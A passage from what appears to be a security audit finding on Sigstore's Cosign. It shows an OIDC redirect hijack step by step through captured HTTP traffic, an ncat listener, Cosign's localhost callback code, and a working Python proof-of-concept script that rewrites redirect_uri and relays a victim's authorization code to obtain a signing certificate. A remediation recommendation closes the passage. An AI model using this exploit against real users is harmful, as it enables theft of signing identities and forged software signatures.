prod?access_type=online&client_id=sigstore&code_challenge=PKjOj9SxE_2wBJay6eh8VXiTO_9CA9OKgDYVOV8duEk&code_challenge_metho
d=S256&nonce=26o4serTQJR8copHyY5qrvVmNNL&redirect_uri=http%3A%2F%2Flocalhost%3A5555%2Fauth%2Fcallback&response_type=code&s
cope=openid+email&state=26o4sdB48HBKU4vJ0pKxF6eXj7g HTTP/2
Host: dex.35.227.170.65.nip.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:5000/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Te: trailers
```

Response:

```
HTTP/2 302 Found
Date: Wed, 23 Mar 2022 23:06:52 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 250
Location:
https://github.com/login/oauth/authorize?client_id=2fef960652e56eddd1f3&redirect_uri=https%3A%2F%2Fdex.35.227.170.6
5.nip.io%2Fauth%2Fcallback&response_type=code&scope=user%3Aemail&state=dfhyx6a55rixi6dldiox636xn
Strict-Transport-Security: max-age=15724800; includeSubDomains

<a
href="https://github.com/login/oauth/authorize?client_id=2fef960652e56eddd1f3&amp;redirect_uri=https%3A%2F%2Fdex.35.227.17
0.65.nip.io%2Fauth%2Fcallback&amp;response_type=code&amp;scope=user%3Aemail&amp;state=dfhyx6a55rixi6dldiox636xn">Found</a>
.
```

Since the user was already authenticated to **GitHub**, the authentication completed without further user interaction:

Request:

```
GET
/login/oauth/authorize?client_id=2fef960652e56eddd1f3&redirect_uri=https%3A%2F%2Fdex.35.227.170.65.nip.io%2Fauth%2Fcallback&response_type=code&scope=user%3Aemail&state=dfhyx6a55rixi6dldiox636xn HTTP/2
Host: github.com
Cookie: [REDACTED]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:5000/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Te: trailers
```

Response:

```
HTTP/2 302 Found
Server: GitHub.com
Date: Wed, 23 Mar 2022 23:06:52 GMT
Content-Type: text/html; charset=utf-8
Vary: X-PJAX, X-PJAX-Container
Permissions-Policy: interest-cohort=()
Location: https://dex.35.227.170.65.nip.io/auth/callback?code=340ebe3c50971b7e65dd&state=dfhyx6a55rixi6dldiox636xn
Cache-Control: no-cache
Set-Cookie: has_recent_activity=1; path=/; expires=Thu, 24 Mar 2022 00:06:52 GMT; secure; HttpOnly; SameSite=Lax
Set-Cookie: [REDACTED]
Strict-Transport-Security: max-age=31536000; includeSubdomains; preload
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
X-Xss-Protection: 0
Referrer-Policy: origin-when-cross-origin, strict-origin-when-cross-origin
Expect-Ct: max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"
Content-Security-Policy: default-src 'none'; base-uri 'self'; block-all-mixed-content; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com objects-origin.githubusercontent.com www.githubstatus.com collector.githubapp.com collector.github.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com cdn.optimizely.com logx.optimizely.com/v1/events translator.github.com wss://alive.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com objects-origin.githubusercontent.com; frame-ancestors 'self'; frame-src render.githubusercontent.com viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: github.githubassets.com identicons.github.com collector.githubapp.com collector.github.com github-cloud.s3.amazonaws.com secured-user-images.githubusercontent.com/ *.githubusercontent.com; manifest-src 'self'; media-src github.com user-images.githubusercontent.com/; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; worker-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/
Vary: Accept-Encoding, Accept, X-Requested-With
X-Github-Request-Id: A650:04F7:18DFAC:1FC12B:623BA80C

<html><body>You are being <a href="https://dex.35.227.170.65.nip.io/auth/callback?code=340ebe3c50971b7e65dd&amp;state=dfhyx6a55rixi6dldiox636xn">redirected</a>.</body></html>
```

The OIDC flow made several redirects:

Request:

```
GET /auth/callback?code=340ebe3c50971b7e65dd&state=dfhyx6a55rixi6dldiox636xn HTTP/2
Host: dex.35.227.170.65.nip.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:5000/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
```

```
Sec-Fetch-Site: cross-site
Te: trailers
```

Response:

```
HTTP/2 303 See Other
Date: Wed, 23 Mar 2022 23:06:53 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 71
Location: /auth/approval?req=dfhyx6a55rixi6dldiox636xn
Strict-Transport-Security: max-age=15724800; includeSubDomains

<a href="/auth/approval?req=dfhyx6a55rixi6dldiox636xn">See Other</a>.
```

The final redirect was to the attacker-controlled TCP port:

Request:

```
GET /auth/approval?req=dfhyx6a55rixi6dldiox636xn HTTP/2
Host: dex.35.227.170.65.nip.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:5000/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Te: trailers
```

Response:

```
HTTP/2 303 See Other
Date: Wed, 23 Mar 2022 23:06:53 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 131
Location: http://localhost:5555/auth/callback?code=qr6bqlinwwhmkeh353kewkwxn&state=26o4sdB48HBKU4vJ0pKxF6eXj7g
Strict-Transport-Security: max-age=15724800; includeSubDomains

<a href="http://localhost:5555/auth/callback?code=qr6bqlinwwhmkeh353kewkwxn&amp;state=26o4sdB48HBKU4vJ0pKxF6eXj7g">See
Other</a>.
```

Step 6

The attacker captured the **code** and **state** parameters from their TCP listener, then passed those to **Cosign's** TCP listener:

```
$ ncat -l -p 5555
GET /auth/callback?code=qr6bqlinwwhmkeh353kewkwxn&state=26o4sdB48HBKU4vJ0pKxF6eXj7g HTTP/1.1
Host: localhost:5555
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:5000/
Connection: close
Upgrade-Insecure-Requests: 1
```

Step 7

The attacker modified the request from **Cosign** to change the **redirect_uri** to the attacker's port number:

Request:

```
POST /auth/token HTTP/2
Host: dex.35.227.170.65.nip.io
User-Agent: Go-http-client/1.1
Content-Length: 224
Authorization: Basic c2lnc3RvcmU6
```

```
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate

code=qr6bqlinwwhmkeh353kewkwxn&code_verifier=26o4sfmVU3WnGotz6n8bwC39xBW26o4saPBheYPOMtZAXF59qPiGbm&grant_type=authorization_code&nonce=26o4serTQJR8copHyY5qrvVmNNL&redirect_uri=http%3A%2F%2Flocalhost%3A5555%2Fauth%2Fcallback
```

Response:

```
HTTP/2 200 OK
Date: Wed, 23 Mar 2022 23:07:18 GMT
Content-Type: application/json
Content-Length: 1934
Cache-Control: no-store
Pragma: no-cache
Strict-Transport-Security: max-age=15724800; includeSubDomains

{"access_token":"eyJhbGciOiJSUzI1NiIsImtpZCI6IjJhZGU0MjkzY2I4M2EyYzUzZjYyZTk1YWNjOTgyZDkwNTFlZGEzNzYifQ.eyJpc3MiOiJodHRwczovL2RleC4zNS4yMjcuMTcwLjY1Lm5pcC5pby9hdXRoIiwic3ViIjoiQ2dreE1ERXlPVEl5TkRBU0ZHZHBkR2gxWWkxemFXZHpkRzl5WlMxd2NtOWsiLCJhdWQiOiJzaWdzdG9yZSIsImV4cCI6MTY0ODA3Njg5OCwiaWF0IjoxNjQ4MDc2ODM4LCJub25jZSI6IjI2bzRzZXJUUUpSOGNvcEh5WTVxcnZWbU5OTCIsImF0X2hhc2giOiJuQ1NpcFMxTXJUWTdCRUlGYVRDTE5RIiwiZW1haWwiOiJlY2hvMDFAaW5jbHVkZXNlYy5jb20iLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiZmVkZXJhdGVkX2NsYWltcyI6eyJjb25uZWN0b3JfaWQiOiJnaXRodWItc2lnc3RvcmUtcHJvZCIsInVzZXJfaWQiOiIxMDEyOTIyNDAifX0.AYo_Char7YhximJKCmpP-hNKqEsneXoh9IS4KiGVBimbbbpfhaIjdAI6SR6NWuxM27f3MNpZ0A5zzpJOHepRPXugfkcXCQc6ZfcF0SaHD1gbHB7aO5FoyZiW7sujTgwahsdtu1e1p7wYJovIX7mNpRUJxVkGfnb9SLH2cSMi2pxvv5KcHiDaF_RcTsko_0owSNI2rwpW2r_EqJqyovEobwwM3nIOrQbvvk1qGo6rRKhkQMUir6_KLJLgCV2aejyby1dLJqkcgmdUggbK2V_BUTBXBe2eY4rvIXdcXTZq7GeQcVgJrE0FurlZ_V4To41MZjClm7YpOj7v_oHZyLlUUg","token_type":"bearer","expires_in":59,"id_token":"eyJhbGciOiJSUzI1NiIsImtpZCI6IjJhZGU0MjkzY2I4M2EyYzUzZjYyZTk1YWNjOTgyZDkwNTFlZGEzNzYifQ.eyJpc3MiOiJodHRwczovL2RleC4zNS4yMjcuMTcwLjY1Lm5pcC5pby9hdXRoIiwic3ViIjoiQ2dreE1ERXlPVEl5TkRBU0ZHZHBkR2gxWWkxemFXZHpkRzl5WlMxd2NtOWsiLCJhdWQiOiJzaWdzdG9yZSIsImV4cCI6MTY0ODA3Njg5OCwiaWF0IjoxNjQ4MDc2ODM4LCJub25jZSI6IjI2bzRzZXJUUUpSOGNvcEh5WTVxcnZWbU5OTCIsImF0X2hhc2giOiJpX29JeDhOOFduMmhHMUtVUGFOWmJnIiwiY19oYXNoIjoieEFYZ00yZ2V6cmtPa1k2TUNYUWtKZyIsImVtYWlsIjoiZWNobzAxQGluY2x1ZGVzZWMuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsImZlZGVyYXRlZF9jbGFpbXMiOnsiY29ubmVjdG9yX2lkIjoiZ2l0aHViLXNpZ3N0b3JlLXByb2QiLCJ1c2VyX2lkIjoiMTAxMjkyMjQwIn19.CRTALAr4m0E68YT4Rp5MG2gtr9D3loYvFlPyQ3dVnYCTD5fjFUnmIkDJF30k1zl5YdlATps5tmSjX9uA32K_7k-oVXR9IFnVDbG_frOpuTwY1qQGg12agj5QY8yNlBrhhy-n7MvNSGKzCy5-kv4pu3Dqjx3u8pjkng4HKWk7XsyTOpAl4o0Oq78aNv_X3HQEOR3OR3nEnliZPsTBy5hSOMpPDuUKYJd00x-7KitI6lehX0ZjJX110EaUsJ_caYKTfI2HFdOEygRbO46J8NzRh4Q755JrTwVDvu48DM2gkwm8yySYiDtzY3gVsVwHIZGwDUokgz4VKX6lKgyzYZ4r1w"}
```

Step 8

The **Cosign** process was able to authenticate to **fulcio**:

Request:

```
POST /api/v1/signingCert HTTP/2
Host: fulcio.35.227.170.65.nip.io
User-Agent: cosign/(devel) (linux; amd64)
Content-Length: 292
Authorization: Bearer
eyJhbGciOiJSUzI1NiIsImtpZCI6IjJhZGU0MjkzY2I4M2EyYzUzZjYyZTk1YWNjOTgyZDkwNTFlZGEzNzYifQ.eyJpc3MiOiJodHRwczovL2RleC4zNS4yMjcuMTcwLjY1Lm5pcC5pby9hdXRoIiwic3ViIjoiQ2dreE1ERXlPVEl5TkRBU0ZHZHBkR2gxWWkxemFXZHpkRzl5WlMxd2NtOWsiLCJhdWQiOiJzaWdzdG9yZSIsImV4cCI6MTY0ODA3Njg5OCwiaWF0IjoxNjQ4MDc2ODM4LCJub25jZSI6IjI2bzRzZXJUUUpSOGNvcEh5WTVxcnZWbU5OTCIsImF0X2hhc2giOiJpX29JeDhOOFduMmhHMUtVUGFOWmJnIiwiY19oYXNoIjoieEFYZ00yZ2V6cmtPa1k2TUNYUWtKZyIsImVtYWlsIjoiZWNobzAxQGluY2x1ZGVzZWMuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsImZlZGVyYXRlZF9jbGFpbXMiOnsiY29ubmVjdG9yX2lkIjoiZ2l0aHViLXNpZ3N0b3JlLXByb2QiLCJ1c2VyX2lkIjoiMTAxMjkyMjQwIn19.CRTALAr4m0E68YT4Rp5MG2gtr9D3loYvFlPyQ3dVnYCTD5fjFUnmIkDJF30k1zl5YdlATps5tmSjX9uA32K_7k-oVXR9IFnVDbG_frOpuTwY1qQGg12agj5QY8yNlBrhhy-n7MvNSGKzCy5-kv4pu3Dqjx3u8pjkng4HKWk7XsyTOpAl4o0Oq78aNv_X3HQEOR3OR3nEnliZPsTBy5hSOMpPDuUKYJd00x-7KitI6lehX0ZjJX110EaUsJ_caYKTfI2HFdOEygRbO46J8NzRh4Q755JrTwVDvu48DM2gkwm8yySYiDtzY3gVsVwHIZGwDUokgz4VKX6lKgyzYZ4r1w
Content-Type: application/json
Accept-Encoding: gzip, deflate

{"publicKey":{"content":"MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEs9xth52BSTtsTZRxztOQg8r+A4zxHu3ZSOEjAdO3X6IA9ZD72eo4R2haBJLF8e3QurF+IVCGdqmh0F4Hsil7bQ==","algorithm":"ecdsa"},"signedEmailAddress":"MEUCIQCda7KVKa/AWWjdxu3ANVtFXDZAGXYWqIeZxlAiobh+yQIgcze0a6PPeuvNMdsWTab6wC2rJL+OyJKc/KxQEdzBB8A="}
```

Response:

```
HTTP/2 201 Created
Date: Wed, 23 Mar 2022 23:07:19 GMT
Content-Type: application/pem-certificate-chain
Content-Length: 1505
Sct:
eyJzY3RfdmVyc2lvbiI6MCwiaWQiOiJvNzk1TDh0OHhDSVlKQnd2b0psUjBHamVsZXhzY0ZXYkI3eGQyWDcwV25VPSIsInRpbWVzdGFtcCI6MTY0ODA3NjgzOTQ1MSwiZXh0ZW5zaW9ucyI6IiIsInNpZ25hdHVyZSI6IkJBTUFSekJGQWlFQWxwMjh0Nm5GaW1LYnp0L255Y21TeGtoVFllM1hZMmdjbXY3N2R1akRHUkFDSURM
```

```
cWNqQ0hVNFh4ZE9LT0lERmRJQWJabzBzRy9DQlNVWWVVK2hPMWdPMTQifQ==
Strict-Transport-Security: max-age=15724800; includeSubDomains

-----BEGIN CERTIFICATE-----
MIICCjCCAZGgAwIBAgITX+r9fOHBbzpIAPXhwZfPJL7fGDAKBggqhkjOPQQDAzAq
MRUwEwYDVQQKEwxzaWdzdG9yZS5kZXYxETAPBgNVBAMTCHNpZ3N0b3JlMB4XDTIy
MDMyMzIzMDcxOVoXDTIyMDMyMzIzMTcxOFowADBZMBMGByqGSM49AgEGCCqGSM49
AwEHA0IABLPcbYedgUk7bE2Ucc7TkIPK/gOM8R7t2UjhIwHTt1+iAPWQ+9nqOEdo
WgSSxfHt0LqxfiFQhnapodBeB7Ipe22jgb8wgbwwDgYDVR0PAQH/BAQDAgeAMBMG
A1UdJQQMMAoGCCsGAQUFBwMDMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFGhcWfzR
KBPhd2PCkgvBhEo2ZDvxMB8GA1UdIwQYMBaAFIAUKwUl/KX3Zb1vFYsji4CHoKfv
MCMGA1UdEQEB/wQZMBeBFWVjaG8wMUBpbmNsdWRlc2VjLmNvbTAiBgorBgEEAYO/
MAEBBBRnaXRodWItc2lnc3RvcmUtcHJvZDAKBggqhkjOPQQDAwNnADBkAjBg4adJ
nohsy6Gh0Ustdlr1LI5OCzXeVEbYHbX+NqMnfomnYQ/04O1wqeLqWOBLbIECMHcN
DlxTX3FaRZGlxcAK/2JsfHXuwv5WoVE6u4pJk6iFraWhmbaHHVysUzjaSnKzKw==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIB9DCCAXugAwIBAgITWNDtRBL0B/Z47yCpDRQarujWPTAKBggqhkjOPQQDAzAq
MRUwEwYDVQQKEwxzaWdzdG9yZS5kZXYxETAPBgNVBAMTCHNpZ3N0b3JlMB4XDTIy
MDIyNTIzMzYwMVoXDTMyMDIyMzIzMzYwMFowKjEVMBMGA1UEChMMc2lnc3RvcmUu
ZGV2MREwDwYDVQQDEwhzaWdzdG9yZTB2MBAGByqGSM49AgEGBSuBBAAiA2IABBFn
pqJfgjBzOjPOLn9lv+8dVlKBTcJw2LznuIQJFVE5q+ST+1a4j1u50NMPbCCw6mTQ
z/hNhZq5UklyD8aQT0ZdKXDyPwbnp8Zi3oS1i7+DoasPsP/lo9zI5iSOAFSVXqNj
MGEwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFIAU
KwUl/KX3Zb1vFYsji4CHoKfvMB8GA1UdIwQYMBaAFIAUKwUl/KX3Zb1vFYsji4CH
oKfvMAoGCCqGSM49BAMDA2cAMGQCME2ZwwJ/MZSE+93Bi43qVPm3MwGLdCHApL9X
VTVC2GiC4m9Y3YRZhTcbiL5tBeeR+QIwJArZzxawDjTWncqskWg1DaXXqw50gwBI
HTBERt8SXCwffYL3Rzn6wG0n8Dm7c+9U
-----END CERTIFICATE-----
```

This attack was ultimately possible because the OIDC flow included a redirect to **localhost** in order to communicate secrets from the browser to the **Cosign** process. The **Cosign** HTTP listener was implemented in **sigstore/pkg/oauthflow/interactive.go**, lines 138-176:

```
138 func startRedirectListener(state, htmlPage string, doneCh chan string, errCh chan error) (*http.Server, *url.URL,
error) {
139     listener, err := net.Listen("tcp", "localhost:0")
140     if err != nil {
141             return nil, nil, err
142     }
143
144     port := listener.Addr().(*net.TCPAddr).Port
145
146     url := &url.URL{
147             Scheme: "http",
148             Host:   fmt.Sprintf("localhost:%d", port),
149             Path:   "/auth/callback",
150     }
151
152     m := http.NewServeMux()
153     s := &http.Server{
154             Addr:    url.Host,
155             Handler: m,
156     }
157
158     m.HandleFunc(url.Path, func(w http.ResponseWriter, r *http.Request) {
159             // even though these are fetched from the FormValue method,
160             // these are supplied as query parameters
161             if r.FormValue("state") != state {
162                     errCh <- errors.New("invalid state token")
163                     return
164             }
165             doneCh <- r.FormValue("code")
166             fmt.Fprint(w, htmlPage)
167     })
168
169     go func() {
170             if err := s.Serve(listener); err != nil && err != http.ErrServerClosed {
171                     errCh <- err
172             }
```

```
173     }()
174
175     return s, url, nil
176 }
```

The following is the script used to perform the proof-of-concept attack. The script starts an HTTP server. The targeted user visits the index page, and the attacker passes the captured parameters to the **/callback** endpoint. A more developed attack script would further automate the callback.

```
 1 #!/usr/bin/env python
 2
 3 import os
 4 import pexpect
 5 import re
 6 import html
 7 import urllib
 8 from flask import Flask, request
 9
10 app = Flask(__name__)
11 child = None
12 callback_port = None
13
14 @app.route("/")
15 def index():
16     global child
17     global callback_port
18     os.environ['COSIGN_EXPERIMENTAL'] = '1'
19     os.environ['SIGSTORE_CT_LOG_PUBLIC_KEY_FILE'] = "./ctfe.pub"
20     child = pexpect.spawn("./cosign sign-blob --oidc-issuer=https://dex.35.227.170.65.nip.io/auth --fulcio-
url=https://fulcio.35.227.170.65.nip.io --rekor-url https://rekor.35.227.170.65.nip.io blob3.txt")
21     child.expect("Your browser will now be opened to:\r\n")
22     url = child.readline().decode('utf-8').strip()
23     newurl = url.replace('/auth/auth', '/auth/auth/github-sigstore-prod')
24     my_port = 5555
25     newurl = re.sub('localhost.3.[0-9]+.2.', "localhost%3A" + str(my_port) + "%2F", newurl)
26     callback_port = int(re.search('localhost.3.([0-9]+).2.', url).group(1))
27
28     return "<html><body onload='document.getElementById(\"link\").click()'>" + \
29            "<a id=\"link\" href=\"" + html.escape(newurl) + "\">" + \
30            "</body></html>"
31
32 @app.route("/callback")
33 def callback():
34     global child
35     global callback_port
36     if child == None:
37         return "No child process"
38
39     code = request.args.get('code')
40     state = request.args.get('state')
41
42     url = "http://localhost:" + str(callback_port) + \
43             "/auth/callback?code=" + urllib.parse.quote(code) + \
44             "&state=" + urllib.parse.quote(state)
45     urllib.request.urlopen(url)
46
47     return "<html><body><pre>" + html.escape(child.read().decode('utf-8')) + "</pre></body></html>"
48
49 if __name__ == "__main__":
50     app.run()
```

Recommended Remediation:

The assessment team recommends rearchitecting the OIDC authentication flow to not use an HTTP server listening on **localhost** to communicate secrets from the browser to the native **Cosign** application. For example, the application is already able to use a flow where the user manually copies a token from the browser to the native command-line interface. Alternatively, the **Cosign** client could request the secret values from the

authentication server rather than being passed in an HTTP redirect, though this requires more trust in the authentication server.

Remediation Notes:
The Sigstore team has accepted the risk for this finding as originally reported.

References:

OpenID Connect Specification